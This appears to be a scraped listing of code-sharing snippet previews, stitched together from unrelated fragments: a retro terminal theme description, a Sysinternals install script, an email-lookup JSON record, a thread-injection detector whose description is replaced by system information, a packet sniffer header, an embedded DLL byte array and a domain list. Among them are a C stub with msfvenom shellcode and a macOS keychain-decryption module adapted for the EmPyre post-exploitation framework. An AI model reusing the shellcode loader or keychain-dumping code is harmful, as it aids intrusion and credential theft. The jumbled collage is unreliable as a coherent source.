A retro theme mimicking the terminal designs in the Fallout video game franchise. It uses CSS animation for a screen flicker effect and a simple scroll (I'm working on a better line by line scroll).
A Pen by Mack Richardson on CodePen.
Write-Host "$('[{0:HH:mm}]' -f (Get-Date)) Installing SysInternals Tooling..." | |
$sysinternalsDir = "C:\Tools\Sysinternals" | |
$sysmonDir = "C:\ProgramData\Sysmon" | |
If(!(test-path $sysinternalsDir)) { | |
New-Item -ItemType Directory -Force -Path $sysinternalsDir | |
} Else { | |
Write-Host "$('[{0:HH:mm}]' -f (Get-Date)) Tools directory exists, no need to re-install. Exiting." | |
exit | |
} | |
|
A retro theme mimicking the terminal designs in the Fallout video game franchise. It uses CSS animation for a screen flicker effect and a simple scroll (I'm working on a better line by line scroll).
A Pen by Mack Richardson on CodePen.
{ | |
"domain": "slack.com", | |
"active": true, | |
"last_update": 1525850454.678481, | |
"email_pattern": "", | |
"email_count": 3, | |
"emails": [ | |
{ | |
"email_address": "[email protected]", | |
"first_name": "", |
function Get-InjectedThread | |
{ | |
<# | |
.SYNOPSIS | |
Looks for threads that were created as a result of code injection. | |
.DESCRIPTION | |
OS Name: Microsoft Windows 10 Pro | |
OS Manufacturer: Microsoft Corporation | |
OS Configuration: Standalone Workstation | |
OS Build Type: Multiprocessor Free | |
System Manufacturer: Micro-Star International Co., Ltd | |
System Model: MS-7A32 | |
System Type: x64-based PC | |
Total Physical Memory: 32,715 MB | |
Processor(s): 1 Processor(s) Installed. | |
[01]: AMD64 Family 23 Model 1 Stepping 1 AMD ~3800 Mhz (RYZEN 1700x) |
#pragma comment(lib, "Shell32.lib") | |
#include <windows.h> | |
#include <shlobj.h> | |
// msfvenom -p windows/exec -a x86 --platform windows -f c cmd=calc.exe | |
int buf_len = 193; | |
unsigned char buf[] = | |
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30" | |
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff" | |
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52" |
#!/usr/bin/python | |
# Pure Python Tiny Packet Snifer | |
# Author: Alexander Rymdeko-Harvey | |
# Twitter: @Killswitch-GUI | |
# BSD 3-Clause License | |
# Copyright (c) 2017, Alexander Rymdeko-Harvey | |
# All rights reserved. |
unsigned char wpcap_dll[] = { | |
0x4d, 0x5a, 0x90, 0x00, 0x03, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, | |
0xff, 0xff, 0x00, 0x00, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
0x08, 0x01, 0x00, 0x00, 0x0e, 0x1f, 0xba, 0x0e, 0x00, 0xb4, 0x09, 0xcd, | |
0x21, 0xb8, 0x01, 0x4c, 0xcd, 0x21, 0x54, 0x68, 0x69, 0x73, 0x20, 0x70, | |
0x72, 0x6f, 0x67, 0x72, 0x61, 0x6d, 0x20, 0x63, 0x61, 0x6e, 0x6e, 0x6f, | |
0x74, 0x20, 0x62, 0x65, 0x20, 0x72, 0x75, 0x6e, 0x20, 0x69, 0x6e, 0x20, |
google.com | |
youtube.com | |
facebook.com | |
baidu.com | |
yahoo.com | |
amazon.com | |
wikipedia.org | |
google.co.in | |
twitter.com | |
qq.com |
# built off https://github.com/n0fate/chainbreaker | |
# for EmPyre dynamic execution | |
# all credit goes too: n0fate | |
# http://web.mit.edu/darwin/src/modules/Security/cdsa/cdsa/cssmtype.h | |
KEY_TYPE = { | |
0x00+0x0F : 'CSSM_KEYCLASS_PUBLIC_KEY', | |
0x01+0x0F : 'CSSM_KEYCLASS_PRIVATE_KEY', | |
0x02+0x0F : 'CSSM_KEYCLASS_SESSION_KEY', | |
0x03+0x0F : 'CSSM_KEYCLASS_SECRET_PART', |